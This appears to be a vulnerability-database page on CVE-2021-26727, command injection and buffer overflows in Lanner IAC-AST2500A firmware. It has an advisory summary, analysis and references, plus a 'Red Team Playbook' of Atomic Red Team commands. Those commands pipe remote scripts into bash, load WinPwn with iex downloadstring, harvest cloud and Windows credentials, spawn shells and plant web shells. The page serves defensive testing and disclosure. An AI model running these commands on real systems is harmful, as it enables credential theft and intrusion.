CVE-2021-26727
Overview
This vulnerability involves multiple command injection and stack-based buffer overflow flaws originating from improper input validation and unsafe memory operations within the SubNet_handler_func function of the spx_restservice component. The root cause lies in the failure to sanitize user-supplied input before executing system commands and manipulating memory buffers, leading to unsafe execution paths. The affected component is the spx_restservice module in the Lanner Inc IAC-AST2500A firmware version 1.10.0.
Vulnerability Description
Multiple command injections and stack-based buffer overflows vulnerabilities in the SubNet_handler_func function of spx_restservice allow an attacker to execute arbitrary code with the same privileges as the server user (root). This issue affects: Lanner Inc IAC-AST2500A standard firmware version 1.10.0.
Impact
An unauthenticated attacker with network access to the spx_restservice can exploit these vulnerabilities to execute arbitrary code with root privileges on the device. This enables full system compromise, including unauthorized data access, persistent control, and disruption of device operations. The CVSS vector indicates no user interaction or privileges are required, making exploitation straightforward in exposed network environments. Such compromise can facilitate lateral movement within enterprise or industrial networks, potentially impacting critical infrastructure relying on this hardware.
Solution
According to the advisory published by Nozomi Networks, remediation involves upgrading the Lanner Inc IAC-AST2500A firmware to a version later than 1.10.0 where these vulnerabilities are addressed. Users should consult the detailed patch instructions and advisory at https://www.nozominetworks.com/labs/vulnerability-advisories/cve-2021-26727/ for precise update procedures. No vendor workarounds are specified; therefore, applying the official firmware update is the recommended mitigation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the SubNet_handler_func function of the spx_restservice is characterized by multiple command injection flaws and stack-based buffer overflows. These weaknesses allow an attacker to manipulate input data in such a way that arbitrary commands can be executed with the same privileges as the server user, which in this case is root. The stack-based buffer overflow occurs when data exceeds the allocated buffer size, leading to potential overwriting of adjacent memory. This can be exploited to inject malicious code, which can then be executed, thereby compromising the integrity and confidentiality of the system. The affected firmware version, specifically for the Lanner Inc IAC-AST2500A, is particularly vulnerable due to inadequate input validation and error handling mechanisms.
Attack vectors for exploiting this vulnerability are varied, but they primarily involve sending specially crafted requests to the spx_restservice. An attacker could leverage tools to automate the injection of malicious payloads into the vulnerable parameters of the service. By successfully executing a command injection, the attacker can gain control over the server, potentially leading to further exploitation of the network. For instance, an attacker could manipulate the service to install backdoors, exfiltrate sensitive data, or pivot to other systems within the network. Additionally, the ease of exploitation, combined with the high privileges granted to the server user, makes this vulnerability particularly dangerous.
The real-world impact of this vulnerability can be severe, especially for organizations relying on the affected firmware for critical infrastructure. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and significant financial losses. Furthermore, the potential for lateral movement within a network increases the risk of a broader compromise, affecting not only the immediate target but also other interconnected systems. The reputational damage that could arise from a public breach may also lead to loss of customer trust and regulatory scrutiny, compounding the business risks associated with this vulnerability.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions that address known vulnerabilities is crucial. Network monitoring tools can be employed to detect unusual patterns of behavior that may indicate exploitation attempts. Additionally, employing intrusion detection systems (IDS) can help identify and alert on suspicious activities. It is also essential to implement strict input validation and sanitization measures to prevent command injection and buffer overflow attacks. Conducting regular security assessments and penetration testing can further help identify and remediate vulnerabilities before they can be exploited.
In conclusion, the vulnerabilities present in the SubNet_handler_func function of the spx_restservice pose significant risks to organizations utilizing the affected firmware. The ability for an attacker to execute arbitrary code with root privileges underscores the critical need for vigilance in cybersecurity practices. By understanding the technical details, potential attack vectors, real-world impacts, and effective detection and mitigation strategies, organizations can better protect themselves against the threats posed by such vulnerabilities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Lannerinc | Iac-Ast2500a Firmware | 1.10.0 |
cpe:2.3:o:lannerinc:iac-ast2500a_firmware:1.10.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-26727 |
| nozominetworks.com |
GitHub CVE
|
https://www.nozominetworks.com/labs/vulnerability-advisories/cve-2021-26727/ |
| nozominetworks.com |
GitHub CVE
|
https://www.nozominetworks.com/blog/vulnerabilities-in-bmc-firmware-affect-ot-iot-device-security-part-1/ |